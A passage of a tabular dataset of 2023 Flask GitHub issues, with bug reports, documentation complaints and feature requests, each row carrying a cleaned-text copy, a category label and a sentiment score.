as by subclassing or using an extension?
-->",,2023-10-02 07:19:26+00:00,2023-10-02 07:32:34+00:00,0,nan,0.0091,pallets replace this comment with a description of what the feature should do include details such as links to relevant specs or previous discussions replace this comment with an example of the problem which this feature would resolve is this problem solvable without changes to flask such as by subclassing or using an extension,others,-0.4404
pallets/flask,1920299143,"FYI, bad documentation link","I was looking at the github release page, which links to https://flask.palletsprojects.com/en/3.0.x/changes/#version-3-0-0

This page gives me a page not found error.",,2023-09-30 15:29:18+00:00,2023-09-30 16:16:32+00:00,1,nan,0.0328,fyi bad documentation link i was looking at the github release page which links to this page gives me a page not found error,documentation,-0.0567
pallets/flask,1919998868,When was 'Blueprint.before_app_first_request' deprecated and what replaces it?,"I have resumed work on a Flask 1.x-based project after some time has passed, and sorting through deprecations and removals that have happened in the interim. The first place I got stuck was the `@bp.before_app_first_request` decorator.

Except to note that <q>`app.before_first_request` and `bp.before_app_first_request` decorators are removed</q> in 2.3.0, [the changelog](https://flask.palletsprojects.com/en/2.3.x/changes/#version-2-3-0) doesn't mention when these were deprecated, why, or what replaced them.

Perusing previous versions of the docs, I discover that `Blueprint.before_app_first_request` was deprecated in 2.2, with this note:

> Deprecated since version 2.2: Will be removed in Flask 2.3. Run setup code when creating the application instead.

Something in my gut tells me that I'm going to be writing a kind of hook handler that will iterate through all the blueprints to run their ""before first request"" initialization routines. Effectively, an amateurish reimplementation of what `Blueprint.before_app_first_request` already did.

That leaves me wondering about the context for this deprecation. Can someone enlighten me as to why it was removed?

_To be clear, I intend to document whatever workaround I come up with (for the benefit of others in this situation) and close this issue myself. I'm not asking for tech support or ""homework help"" from the Flask maintainers, or to resurrect the feature from the grave. `:)`_
",,2023-09-29 23:06:44+00:00,2023-09-29 23:22:18+00:00,1,nan,0.0108,when was blueprint before app first request deprecated and what replaces it i have resumed work on a flask x based project after some time has passed and sorting through deprecations and removals that have happened in the interim the first place i got stuck was the decorator except to note that and decorators are removed in the changelog doesn t mention when these were deprecated why or what replaced them perusing previous versions of the docs i discover that was deprecated in with this note deprecated since version will be removed in flask run setup code when creating the application instead something in my gut tells me that i m going to be writing a kind of hook handler that will iterate through all the blueprints to run their before first request initialization routines effectively an amateurish reimplementation of what already did that leaves me wondering about the context for this deprecation can someone enlighten me as to why it was removed to be clear i intend to document whatever workaround i come up with for the benefit of others in this situation and close this issue myself i m not asking for tech support or homework help from the flask maintainers or to resurrect the feature from the grave,feature,0.93
pallets/flask,1911559474,Flask subdomain parameter doesn't work at version 2.3.3,"Bug:

Since Flask version 2.3.3 the subdomain parameter when defining a new route doesn't work only with blueprint.

Include a minimal reproducible example that demonstrates the bug:

An example route which will return 404 Not Found even it should:

```
from flask import Flask

app = Flask(__name__, template_folder='templates', static_folder='static')


@app.route('/logout', subdomain='panel', methods=['POST', 'GET'])
def logout():

    return ""ok""


if __name__ == '__main__':
    app.run(host=""0.0.0.0"", port=80, threaded=True, debug=True)
```

Describe the expected behavior that should have happened but didn't:
Normally when using the subdomain parameter when defining a new route, the route would've work on that specified subdomain.
With the 2.3.3 version this is only works with Flask Blueprint, the downside of this is that I cannot define multiple subdomains.

Environment:

- Python version: 3.10.12
- Flask version: 2.3.3
",,2023-09-25 13:50:36+00:00,2023-09-26 19:00:52+00:00,1,nan,1.2155,flask subdomain parameter doesn t work at version bug since flask version the subdomain parameter when defining a new route doesn t work only with blueprint include a minimal reproducible example that demonstrates the bug an example route which will return not found even it should describe the that should have happened but didn t normally when using the subdomain parameter when defining a new route the route would ve work on that specified subdomain with the version this is only works with flask blueprint the downside of this is that i cannot define multiple subdomains environment python version flask version,others,-0.6705
pallets/flask,1909946543,Bug in Flask docs,"Hi, flask seems very well done.  The docs are well organized, with quick links to other sections.

However there's one bug I have encountered in the docs.  Specifically [this page](https://flask.palletsprojects.com/en/2.3.x/) has the following content:

> Welcome to Flask’s documentation. Get started with [Installation](https://flask.palletsprojects.com/en/2.3.x/installation/) and then get an overview with the [Quickstart](https://flask.palletsprojects.com/en/2.3.x/quickstart/). 

Beautiful, prominent links to install and quick start.

> There is also a more detailed [Tutorial](https://flask.palletsprojects.com/en/2.3.x/tutorial/) that shows how to create a small but complete application with Flask. Common patterns are described in the [Patterns for Flask](https://flask.palletsprojects.com/en/2.3.x/patterns/) section. The rest of the docs describe each component of Flask in detail, with a full reference in the [API](https://flask.palletsprojects.com/en/2.3.x/api/) section.

Tutorial, patterns, reference API.  Fantastic!

> Flask depends on the [Werkzeug](https://werkzeug.palletsprojects.com/) WSGI toolkit, the [Jinja](https://jinja.palletsprojects.com/) template engine, and the [Click](https://click.palletsprojects.com/) CLI toolkit. Be sure to check their documentation as well as Flask’s when looking for information.

A bit off the rails with minutia here, we can recover...

> ## User’s Guide
> Flask provides configuration and conventions, with sensible defa... [TRUNCATED]",docs,2023-09-23 17:38:26+00:00,2023-10-06 23:37:43+00:00,6,docs,13.2495,bug in flask docs hi flask seems very well done the docs are well organized with quick links to other sections however there s one bug i have encountered in the docs specifically this page has the following content welcome to flask s documentation get started with installation and then get an overview with the quickstart beautiful prominent links to install and quick start there is also a more detailed tutorial that shows how to create a small but complete application with flask common patterns are described in the patterns for flask section the rest of the docs describe each component of flask in detail with a full reference in the api section tutorial patterns reference api fantastic flask depends on the werkzeug wsgi toolkit the jinja template engine and the click cli toolkit be sure to check their documentation as well as flask s when looking for information a bit off the rails with minutia here we can recover user s guide flask provides configuration and conventions with sensible defa truncated,bug,0.9431
pallets/flask,1905430209,Blueprints and import into gunicorn.conf.py results in gunicorn reload bug,"This is a very interesting bug.

When using Blueprints with flask, and importing something into gunicorn.conf.py from the same top level module in which the flask application resides, Gunicorn's --reload functionality breaks. Specifically, the reloading functionality appears to work- gunicorn informs us that the application has been reloaded; but the run time code is actually cached, and the application in effect does not reload.

This bug is an issue because it makes development inconvenient, and it is time consuming to isolate.

This bug cannot be replicated if: 
 * you don't use blueprints, 
 * or if you use blueprints but do not import into gunicorn.conf.py from a module that exists inside the application module
 * or if you use blueprints, and lazy import into gunicorn.conf.py

The reason I believe this is a flask bug, instead of a gunicorn bug, is that this bug only exists when using blueprints. 

I've replicated this on Python 3.11.5, Flask 2.3.3 and 2.0.0, Gunicorn 21.2.0 and 21.0.0, and RHEL and Ubuntu.


# Docker
I've uploaded a [repo](https://github.com/mkmoisen/blueprintbug/tree/master) with a Dockerfile and docker-compose.yaml that can be used to quickly reproduce the bug. The application runs on port 8080.

```
git clone https://github.com/mkmoisen/blueprintbug.git
docker compose up --build
```


# Directory Structure
```
blueprintbug/
    app/
        __init__.py
    gunicorn.conf.py
    requirements.txt
```

# blueprintbug/app... [TRUNCATED]",,2023-09-20 17:24:02+00:00,2023-09-20 17:41:38+00:00,0,nan,0.0122,blueprints and import into gunicorn conf py results in gunicorn reload bug this is a very interesting bug when using blueprints with flask and importing something into gunicorn conf py from the same top level module in which the flask application resides gunicorn s reload functionality breaks specifically the reloading functionality appears to work gunicorn informs us that the application has been reloaded but the run time code is actually cached and the application in effect does not reload this bug is an issue because it makes development inconvenient and it is time consuming to isolate this bug cannot be replicated if you don t use blueprints or if you use blueprints but do not import into gunicorn conf py from a module that exists inside the application module or if you use blueprints and lazy import into gunicorn conf py the reason i believe this is a flask bug instead of a gunicorn bug is that this bug only exists when using blueprints i ve replicated this on python flask and gunicorn and and rhel and ubuntu docker i ve uploaded a repo with a dockerfile and docker compose yaml that can be used to quickly reproduce the bug the application runs on port directory structure blueprintbug app truncated,bug,-0.9874
pallets/flask,1902936239,TypeError: Flask.url_for() got multiple values for argument 'self',"[Official documentation](https://flask.palletsprojects.com/en/2.3.x/api/#flask.url_for) doesn't mention any preconditions for values argument, but `self=1` raises an exception.

Can be replicated with the following test case:

```python
from unittest import TestCase

from flask import Flask, url_for


class UrlForTests(TestCase):
    def setUp(self) -> None:
        self.app = Flask(__name__)

    def test_with_self_argument(self) -> None:
        with (
            self.app.app_context(),
            self.assertRaisesRegex(
                TypeError, ""got multiple values for argument 'self'""
            ),
        ):
            url_for(""doesnotmatter"", self=1)
```

Traceback example:

```
Traceback (most recent call last):
  File ""/home/dmitry/git/github.com/minetest/contentdb/tests.py"", line 6, in <module>
    url_for(""doesnotmatter"", self=1)
  File ""/home/dmitry/.cache/pypoetry/virtualenvs/contentdb-MK2UWkId-py3.10/lib/python3.10/site-packages/flask/helpers.py"", line 256, in url_for
    return current_app.url_for(
TypeError: Flask.url_for() got multiple values for argument 'self'
```

The expected behavior is the returned URL has query string like '?self=1'.

Environment:

- Python version: 3.10.6
- Flask version: 2.3.3
",,2023-09-19 13:03:46+00:00,2023-09-30 14:25:32+00:00,2,nan,11.0568,typeerror flask url for got multiple values for argument self official documentation doesn t mention any preconditions for values argument but raises an exception can be replicated with the following test case traceback example the is the returned url has query string like self environment python version flask version,bug,0.5346
pallets/flask,1897450561,"AsyncToSync error with Flask Async, Gunicorn and Gevent","When using the Async options for Flask, running an application with an asynchronous teardown_request function, using Gunicorn with Gevent as the WSGI server, there is a race condition where a lot of simultaneous requests results in the error ""You cannot use AsyncToSync in the same thread as an async event loop - just await the async function directly."".

I've [attached a reproduction](https://github.com/pallets/flask/files/12614087/reproduction.zip). To reproduce the bug:

* Unzip the zip to a directory.
* Install the requirements using `pip install -r requirements.txt`.
* Run the application using `gunicorn -b 0.0.0.0:8080 app:app --worker-class=gevent -w 2 --threads 2`.
* In another shell, run `./lots-of-curls.sh`.

The stack trace I see is

```
Traceback (most recent call last):
  File ""/home/sam/.pyenv/versions/3.9.7/envs/flask-test-3.9.7/lib/python3.9/site-packages/gunicorn/workers/base_async.py"", line 55, in handle
    self.handle_request(listener_name, req, client, addr)
  File ""/home/sam/.pyenv/versions/3.9.7/envs/flask-test-3.9.7/lib/python3.9/site-packages/gunicorn/workers/ggevent.py"", line 128, in handle_request
    super().handle_request(listener_name, req, sock, addr)
  File ""/home/sam/.pyenv/versions/3.9.7/envs/flask-test-3.9.7/lib/python3.9/site-packages/gunicorn/workers/base_async.py"", line 108, in handle_request
    respiter = self.wsgi(environ, resp.start_response)
  File ""/home/sam/.pyenv/versions/3.9.7/envs/flask-test-3.9.7/lib/python3.9... [TRUNCATED]",,2023-09-14 22:48:39+00:00,2023-09-14 23:15:08+00:00,1,nan,0.0184,asynctosync error with flask async gunicorn and gevent when using the async options for flask running an application with an asynchronous teardown request function using gunicorn with gevent as the wsgi server there is a race condition where a lot of simultaneous requests results in the error you cannot use asynctosync in the same thread as an async event loop just await the async function directly i ve attached a reproduction to reproduce the bug unzip the zip to a directory install the requirements using run the application using in another shell run the stack trace i see is traceback most recent call last file home sam pyenv versions envs flask test lib python site packages gunicorn workers base async py line in handle self handle request listener name req client addr file home sam pyenv versions envs flask test lib python site packages gunicorn workers ggevent py line in handle request super handle request listener name req sock addr file home sam pyenv versions envs flask test lib python site packages gunicorn workers base async py line in handle request respiter self wsgi environ resp start response file home sam pyenv versions envs flask test lib python truncated,bug,-0.5719
pallets/flask,1896660256,Add passthrough_errors to flask run options,"I'm building an API using Flask, and have an `@app.errorhandler(HTTPException)` to catch all HTTPExceptions in order to format them as JSON. This is working great via `flask run`, but when I add the `--debug` flag to get auto-reloading, the Werkzeug default error handler catches exceptions before my error handler has a chance to respond with JSON.

I noticed the `passthrough_errors` option to `werkzeug.run_simple()`, and when I run my app via a simple script, the error handler works as I'd expect, along with the reloader:

```
from my_app import create_app
from werkzeug import run_simple

app = create_app()
run_simple(""0.0.0.0"", 8170, app, use_reloader=True, use_debugger=False, passthrough_errors=True, threaded=True)
```

Therefore, it would be helpful if we could add something like `--passthrough-errors` to the `flask run` CLI command. Alternately, let me know if there's another recommended way to use `flask run --debug` but disable the Werkzeug default error handler page. Thanks!
",,2023-09-14 14:09:00+00:00,2023-09-14 14:13:33+00:00,1,nan,0.0032,add passthrough errors to flask run options i m building an api using flask and have an to catch all httpexceptions in order to format them as json this is working great via but when i add the flag to get auto reloading the werkzeug default error handler catches exceptions before my error handler has a chance to respond with json i noticed the option to and when i run my app via a simple script the error handler works as i d expect along with the reloader therefore it would be helpful if we could add something like to the cli command alternately let me know if there s another recommended way to use but disable the werkzeug default error handler page thanks,bug,-0.1655
pallets/flask,1892985107,Problems with using flask as dependency for other libraries,"Hello!

I started writing a library whose tasks include starting and stopping the flask server. I have added flask to the [list of dependencies](https://github.com/pomponchik/flask_fixture/blob/d2a640407b611a8b72dfcb1c9f71aabef890d449/setup.py#L7) of this library. 

When installing my library on macOS, I see the [following](https://github.com/pomponchik/flask_fixture/actions/runs/6162817875/job/16725168014#step:4:157):

```
Installed /Users/runner/hostedtoolcache/Python/3.9.18/x64/lib/python3.9/site-packages/zipp-3.16.2-py3.9.egg
Searching for MarkupSafe>=2.1.1
Reading https://pypi.org/simple/MarkupSafe/
Downloading https://files.pythonhosted.org/packages/6d/7c/59a3248f411813f8ccba92a55feaac4bf360d29e2ff05ee7d8e1ef2d7dbf/MarkupSafe-2.1.3.tar.gz#sha256=af598ed32d6ae86f1b747b82783958b1a4ab8f617b06fe68795c7f026abbdcad
Best match: MarkupSafe 2.1.3
Processing MarkupSafe-2.1.3.tar.gz
Writing /var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/easy_install-rho3rw1f/MarkupSafe-2.1.3/setup.cfg
Running MarkupSafe-2.1.3/setup.py -q bdist_egg --dist-dir /var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/easy_install-rho3rw1f/MarkupSafe-2.1.3/egg-dist-tmp-hjznlbbi
no previously-included directories found matching 'docs/_build'
warning: no previously-included files matching '*.pyc' found anywhere in distribution
zip_safe flag not set; analyzing archive contents...
markupsafe.__pycache__._speedups.cpython-39: module references __file__
No eggs found in /var/folders/24/8k48jl6d... [TRUNCATED]",,2023-09-12 17:43:00+00:00,2023-09-12 17:51:11+00:00,2,nan,0.0057,problems with using flask as dependency for other libraries hello i started writing a library whose tasks include starting and stopping the flask server i have added flask to the list of dependencies of this library when installing my library on macos i see the following installed users runner hostedtoolcache python x lib python site packages zipp py egg searching for markupsafe reading downloading best match markupsafe processing markupsafe tar gz writing var folders k jl d n qfxwsl xvm gn t easy install rho rw f markupsafe setup cfg running markupsafe setup py q bdist egg dist dir var folders k jl d n qfxwsl xvm gn t easy install rho rw f markupsafe egg dist tmp hjznlbbi no previously included directories found matching docs build warning no previously included files matching pyc found anywhere in distribution zip safe flag not set analyzing archive contents markupsafe pycache speedups cpython module references file no eggs found in var folders k jl d truncated,bug,0.6369
pallets/flask,1892167865,"when use copy_current_request_context and ThreadPoolExecutor, I got error.","I want to use the main thread's request context in the sub-thread. So I use the decorator copy_current_request_context. But I got an error that **<Token var=<ContextVar name='flask.request_ctx' at 0x1067aef90> at 0x106c71280> was created in a different Context**. 

**The weirdest thing is when I debug the code one by one, I will get the expected results sometimes.**

This is a simple code. 

```
import random
import string
import requests

from flask import Flask, copy_current_request_context
from concurrent.futures import ThreadPoolExecutor

app = Flask(__name__)

def get_trace_id(number):
    trace_id =  """".join(random.sample(string.ascii_letters, number))
    print(requests.get(""https://www.google.com"").text)
    return trace_id


@app.route(""/"")
def hello():
    @copy_current_request_context
    def inner_func(number):
        return get_trace_id(number)

    with ThreadPoolExecutor(20) as executor:
        res_iter = executor.map(inner_func, [1, 2, 3, 4, 5])
    return list(res_iter)


if __name__ == '__main__':
    app.run()
```


Environment:

- Python version: 3.8.17
- Flask version: 2.3.3
",,2023-09-12 10:16:00+00:00,2023-09-12 17:52:30+00:00,0,nan,0.317,when use copy current request context and threadpoolexecutor i got error i want to use the main thread s request context in the sub thread so i use the decorator copy current request context but i got an error that at x c was created in a different context the weirdest thing is when i debug the code one by one i will get the expected results sometimes this is a simple code environment python version flask version,bug,-0.6908
pallets/flask,1878938274,SO_REUSEADDR set server,"There needs to give users to set app listening socket to be SO_REUSEADDR, so that an unexpected server failure does not block immediate restart due to ""Address already in use"". 
",,2023-09-03 05:12:12+00:00,2023-09-03 14:00:03+00:00,1,nan,0.3666,so reuseaddr set server there needs to give users to set app listening socket to be so reuseaddr so that an unexpected server failure does not block immediate restart due to address already in use,others,-0.2249
pallets/flask,1874920589,NameError: name 'Response' is not defined,"I have a view like this:
```
@pydantic.validate_arguments(config={""arbitrary_types_allowed"": True})
def my_view(
)-> flask.typing.ResponseReturnValue:
    ...
```

This view is failing during tests:
```
    @pd.validate_arguments(config={""arbitrary_types_allowed"": True})
pydantic/decorator.py:36: in pydantic.decorator.validate_arguments.validate
    ???
pydantic/decorator.py:78: in pydantic.decorator.ValidatedFunction.__init__
    ???
pydantic/typing.py:78: in pydantic.typing.get_all_type_hints
    ???
/nix/store/yk7nrvvz4hjgzzlhr3mg8wl2hn56h187-python3-3.11.4/lib/python3.11/typing.py:2373: in get_type_hints
    hints[name] = _eval_type(value, globalns, localns)
/nix/store/yk7nrvvz4hjgzzlhr3mg8wl2hn56h187-python3-3.11.4/lib/python3.11/typing.py:371: in _eval_type
    return t._evaluate(globalns, localns, recursive_guard)
/nix/store/yk7nrvvz4hjgzzlhr3mg8wl2hn56h187-python3-3.11.4/lib/python3.11/typing.py:882: in _evaluate
    self.__forward_value__ = _eval_type(
/nix/store/yk7nrvvz4hjgzzlhr3mg8wl2hn56h187-python3-3.11.4/lib/python3.11/typing.py:385: in _eval_type
    ev_args = tuple(_eval_type(a, globalns, localns, recursive_guard) for a in t.__args__)
/nix/store/yk7nrvvz4hjgzzlhr3mg8wl2hn56h187-python3-3.11.4/lib/python3.11/typing.py:385: in <genexpr>
    ev_args = tuple(_eval_type(a, globalns, localns, recursive_guard) for a in t.__args__)
/nix/store/yk7nrvvz4hjgzzlhr3mg8wl2hn56h187-python3-3.11.4/lib/python3.11/typing.py:371: in _eval_type
    re... [TRUNCATED]",,2023-08-31 07:11:47+00:00,2023-08-31 07:47:24+00:00,4,nan,0.0247,nameerror name response is not defined i have a view like this this view is failing during tests pd validate arguments config arbitrary types allowed true pydantic decorator py in pydantic decorator validate arguments validate pydantic decorator py in pydantic decorator validatedfunction init pydantic typing py in pydantic typing get all type hints nix store yk nrvvz hjgzzlhr mg wl hn h python lib python typing py in get type hints hints name eval type value globalns localns nix store yk nrvvz hjgzzlhr mg wl hn h python lib python typing py in eval type return t evaluate globalns localns recursive guard nix store yk nrvvz hjgzzlhr mg wl hn h python lib python typing py in evaluate self forward value eval type nix store yk nrvvz hjgzzlhr mg wl hn h python lib python typing py in eval type ev args tuple eval type a globalns localns recursive guard for a in t args nix store yk nrvvz hjgzzlhr mg wl hn h python lib python typing py in ev args tuple eval type a globalns localns recursive guard for a in t args nix store yk nrvvz hjgzzlhr mg wl hn h python lib python typing py in eval type re truncated,bug,0.7845
pallets/flask,1873041081,Jinja2 Templating render_block to support HTMX,"Hi! I would like to suggest adding a `render_block` function to [templating.py](https://github.com/pallets/flask/blob/main/src/flask/templating.py) to support rendering a defined Jinja2 template block. This would work like:

```html
<body>
    <h1>This is a header</h1>
    {% block content %}
    <p>This is the magic number: {{ magic_number }}.</p>
    {% endblock %}
</body>
```

```python
from flask import Flask, render_template, render_block

app = Flask(__name__)

@app.get(""/full_page"")
def full_page():
    return render_template(""page.html.jinja2"", magic_number=42)

@app.get(""/only_content"")
def only_content():
    return render_block(""page.html.jinja2"", ""content"", magic_number=42)
```

The purpose of this change is to support HTMX-style templates where you are returning partial HTML pages in Flask responses. Flask-native way to accomplish this is with multiple files (page.html and partial.html) and render_template('partial.html').

I then discovered [jinja2-fragment](https://github.com/sponsfreixes/jinja2-fragments#usage-with-flask) which has a Flask function that simplifies this by adding the above-suggested functionality as a separate library (albeit small).

But this change is pretty small - one function - and so I would suggest upstreaming it here into Flask itself since I think this would offer a clear and simple solution to a common issue when working with HTMX. I'm happy to work on the PR if this issue is accepted.

This functionalit... [TRUNCATED]",,2023-08-30 06:55:13+00:00,2023-08-30 14:02:24+00:00,1,nan,0.2967,jinja templating render block to support htmx hi i would like to suggest adding a function to templating py to support rendering a defined jinja template block this would work like the purpose of this change is to support htmx style templates where you are returning partial html pages in flask responses flask native way to accomplish this is with multiple files page html and partial html and render template partial html i then discovered jinja fragment which has a flask function that simplifies this by adding the above suggested functionality as a separate library albeit small but this change is pretty small one function and so i would suggest upstreaming it here into flask itself since i think this would offer a clear and simple solution to a common issue when working with htmx i m happy to work on the pr if this issue is accepted this functionalit truncated,help,0.9732
pallets/flask,1870793541,Separated frontend and backend,"Hi,
According to flask documentation, now flask combines frontend and backend together by using jinja2 template, then how to separate them so as to customize the frontend UI using vue or other tools ?
Could you recommend some estensions or flask skills ?",,2023-08-29 02:55:48+00:00,2023-08-29 03:00:08+00:00,1,nan,0.003,separated frontend and backend hi according to flask documentation now flask combines frontend and backend together by using jinja template then how to separate them so as to customize the frontend ui using vue or other tools could you recommend some estensions or flask skills,others,0.3612
pallets/flask,1870349315,"cannot install `dependencies = [ ""flask>=2.3.2"", ]` in toml file ","This is happening in google colab environment. Causes:

```
ERROR: Cannot uninstall 'blinker'. It is a distutils installed project and thus we cannot accurately determine which files belong to it which would lead to only a partial uninstall.
```

This is my toml file: https://github.com/anarchy-ai/LLM-VM/blob/main/pyproject.toml",,2023-08-28 19:33:31+00:00,2023-08-28 19:35:34+00:00,1,nan,0.0014,cannot install in toml file this is happening in google colab environment causes this is my toml file,others,0.0
pallets/flask,1868515183,Boolean return value should result in JSON response,"Currently only dicts and lists are converted to JSON responses. However, it is also quite common for APIs to return a boolean scalar. For now this will result in an exception and if one wants to do this, they have to use `jsonify`.

I think allowing boolean return value to be converted into JSON responses is therefore a nice QoL improvement. And because it is currently prohibited, there is no backwards incompatible change.

```python
@app.get(""/test-registration-state"")
def registration_state():
    return quart.json.jsonify(some_check()) # old
    return some_check() # new
```",,2023-08-27 08:57:49+00:00,2023-08-27 14:29:44+00:00,1,nan,0.2305,boolean return value should result in json response currently only dicts and lists are converted to json responses however it is also quite common for apis to return a boolean scalar for now this will result in an exception and if one wants to do this they have to use i think allowing boolean return value to be converted into json responses is therefore a nice qol improvement and because it is currently prohibited there is no backwards incompatible change,others,0.8126
pallets/flask,1863511414,Documentation inconsistency,"The tutorial file flaskr/blog.py does not check if the body is empty, but the body must be not null according to flaskr/schema.sql.

The following methods in flaskr/blog.py and their respective views are affected by this:
- create
- update

To replicate, create a blog post with an empty body.

The expected behavior shouldn't let the user create the post with an empty body.

I vision two possible solutions:
- Add verification for an empty body in necessary parts of the code.
- Let the body be NULL in the flaskr/schema.sql.

Environment: Ubuntu 20.04.6 LTS

- Python version: 3.8.10
- Flask version: 2.3.2
",,2023-08-23 14:58:22+00:00,2023-08-24 17:36:43+00:00,1,nan,1.11,documentation inconsistency the tutorial file flaskr blog py does not check if the body is empty but the body must be not null according to flaskr schema sql the following methods in flaskr blog py and their respective views are affected by this create update to replicate create a blog post with an empty body the shouldn t let the user create the post with an empty body i vision two possible solutions add verification for an empty body in necessary parts of the code let the body be null in the flaskr schema sql environment ubuntu lts python version flask version,documentation,0.8934
pallets/flask,1860775053,Wrong request's 'Host' Header Value Due to Duplicate Server Names in' X-Forwarded-Server' Header,"When you send a request to a Flask server through Apache using a reverse proxy and include the X-Forwarded-Server header with values like ""servername1, servername1"", a problem occurs. On the Flask server's side, when trying to read the request headers, the 'Host' header appears incorrect, showing the value as ""servername1, servername1"" instead of the expected ""servername1"". The issue is that the X-Forwarded-Server header value is affecting the Host value, even though these headers should be separate. This situation is likely to happen when multiple reverse proxies are used in Apache before reaching the Flask server.

For example, if you examine the Apache configurations below, the Flask server listens on port 9966 and can be accessed via ""restV2"". This setup leads to duplicate server names in the X-Forwarded-Server header.


Apache Configurations:

```
<Location /restInternal>
    ProxyPass http://127.0.0.1:9966 retry=1 Keepalive=On timeout=300
    ProxyPassReverse http://127.0.0.1:9966
</Location>

<Location /restV2>
    ProxyPass http://127.0.0.1/restInternal retry=1 Keepalive=On timeout=300
    ProxyPassReverse http://127.0.0.1:restInternal
</Location>
```

This issue arises due to the interaction between Apache, the reverse proxy, and the Flask server

Environment:

- Python version: 3.6.8
- Flask version: 2.3.2
- Apache version: 2.4.6
",,2023-08-22 07:19:34+00:00,2023-08-22 08:33:51+00:00,1,nan,0.0516,wrong request s host header value due to duplicate server names in x forwarded server header when you send a request to a flask server through apache using a reverse proxy and include the x forwarded server header with values like servername servername a problem occurs on the flask server s side when trying to read the request headers the host header appears incorrect showing the value as servername servername instead of the expected servername the issue is that the x forwarded server header value is affecting the host value even though these headers should be separate this situation is likely to happen when multiple reverse proxies are used in apache before reaching the flask server for example if you examine the apache configurations below the flask server listens on port and can be accessed via restv this setup leads to duplicate server names in the x forwarded server header apache configurations this issue arises due to the interaction between apache the reverse proxy and the flask server environment python version flask version apache version,feature,0.8316
pallets/flask,1859691966,deprecate `__version__`,"The `__version__` attribute is an old pattern from early in Python packaging. Setuptools eventually made it easier to use the pattern by allowing reading the value from the attribute at build time, and some other build backends have done the same.

However, there's no reason to expose this directly in code anymore. It's usually easier to use feature detection (`hasattr`, `try/except`) instead. `importlib.metadata.version(""werkzeug"")` can be used to get the version at runtime in a standard way, if it's really needed.",,2023-08-21 16:02:50+00:00,2023-08-29 13:10:00+00:00,4,nan,7.88,deprecate the attribute is an old pattern from early in python packaging setuptools eventually made it easier to use the pattern by allowing reading the value from the attribute at build time and some other build backends have done the same however there s no reason to expose this directly in code anymore it s usually easier to use feature detection instead can be used to get the version at runtime in a standard way if it s really needed,others,0.6369
pallets/flask,1851291885,flask out of memory,"1. use Flask create an app in manage.py and register blueprint.
2. In back_controller, ping_test return a simple dict and memory_test show memory usage with pyhon gc module.
3. In test_interface, for loop request multiple times, and memory out happed. 

- [structure](https://i.stack.imgur.com/1JL5T.png) 
- [manage.py](https://i.stack.imgur.com/s85oI.png) 
- [common.py](https://i.stack.imgur.com/wHDNz.png) 
- [back_controller.py](https://i.stack.imgur.com/9Ef5A.png) 
- [test_interface.py](https://i.stack.imgur.com/opOnc.png) 
- [first memory usage detail](https://i.stack.imgur.com/EUOqr.png) 
- [last memory usage detail](https://i.stack.imgur.com/cNieJ.png) 
- [pip list](https://i.stack.imgur.com/SepEx.png)",,2023-08-15 11:36:34+00:00,2023-08-15 11:39:03+00:00,1,nan,0.0017,flask out of memory use flask create an app in manage py and register blueprint in back controller ping test return a simple dict and memory test show memory usage with pyhon gc module in test interface for loop request multiple times and memory out happed structure manage py common py back controller py test interface py first memory usage detail last memory usage detail pip list,others,0.2732
pallets/flask,1851031872,flask debug (auto reload) feature not working,"
the issue when i create docker container for the app with dockerfile
ENTRYPOINT [ ""python3"", ""-m"", ""flask"", ""run"", ""--debug"", ""--host=0.0.0.0""]
everything works fine but when i change anything in the code i don't see anything change if i wanna see the changes
i have to rebuild the container

note: i am using correct volume
and when i exec the container i can see the changes in the file


![hsdf](https://github.com/pallets/flask/assets/129284063/962ffd93-f077-45ce-837b-ef05d48f6ced)


Environment:

- Python version: 3.10
- Flask version: 2.2.3
",,2023-08-15 07:43:57+00:00,2023-08-15 07:45:31+00:00,0,nan,0.0011,flask debug auto reload feature not working the issue when i create docker container for the app with dockerfile entrypoint python m flask run debug host everything works fine but when i change anything in the code i don t see anything change if i wanna see the changes i have to rebuild the container note i am using correct volume and when i exec the container i can see the changes in the file hsdf environment python version flask version,bug,0.2382
pallets/flask,1848524238,Resource leaking in http-stream-request,"If I stop a stream request before it's finished, the stream function will never finish, without any exception or warning.
So, if I want to release something (such as threading.Lock) in the end of the function, I will never be able to release it.

Here's an example.

```
# flask server
import time
from flask import *


def stream():
    print(""acquire something"")
    for i in range(5):
        yield str(i)
        time.sleep(1)
    print(""release something"")


app = Flask(__name__)


@app.route(""/"")
def _():
    return Response(stream())


if __name__ == '__main__':
    app.run(""0.0.0.0"", 45678)
```

when I request it and stop it early (for example, I'm timeout)

```
>>> curl http://localhost:45678 --max-time 2
01curl: (28) Operation timed out after 2002 milliseconds with 2 bytes received
```

then, the function stream() will never stopped, here's the log.

```
acquire something
127.0.0.1 - - [13/Aug/2023 18:17:01] ""GET / HTTP/1.1"" 200 -
```

I wish, flask will do like one of these:

* throw a ResourceWarning when the request has stopped
* run stream() to the end, whatever the request stop or not
* if stream() is an AsyncIterator(Coroutine), send an Exception into it when the request has stopped

Environment:

- Python version: 3.9
- Flask version: 2.2.3
",,2023-08-13 10:18:08+00:00,2023-08-13 19:21:56+00:00,3,nan,0.3776,resource leaking in http stream request if i stop a stream request before it s finished the stream function will never finish without any exception or warning so if i want to release something such as threading lock in the end of the function i will never be able to release it here s an example when i request it and stop it early for example i m timeout then the function stream will never stopped here s the log i wish flask will do like one of these throw a resourcewarning when the request has stopped run stream to the end whatever the request stop or not if stream is an asynciterator coroutine send an exception into it when the request has stopped environment python version flask version,feature,0.1965
pallets/flask,1839485879,Application Dispatching Docs Reference Removed `werkzeug` Function,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

The [""Dispatch by Path"" section of app dispatching docs](https://github.com/pallets/flask/blob/main/docs/patterns/appdispatch.rst#dispatch-by-path) reference now-removed functions, `werkzeug.wsgi.peek_path_info` and `werkzeug.wsgi.pop_path_info`.

These functions were [deprecated in Werkzeug 2.2.0](https://github.com/pallets/werkzeug/pull/2461) and [removed in Werkzeug 2.3.0](https://github.com/pallets/werkzeug/pull/2592).

Using the documented example as-is produces `ImportError`s.

Since Flask 2.3 requires Werkzeug 2.3.6 or later, the documentation contain an example that works with Werkzeug's updated API. 

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version: 3.9
- Flask version: 2.3.2
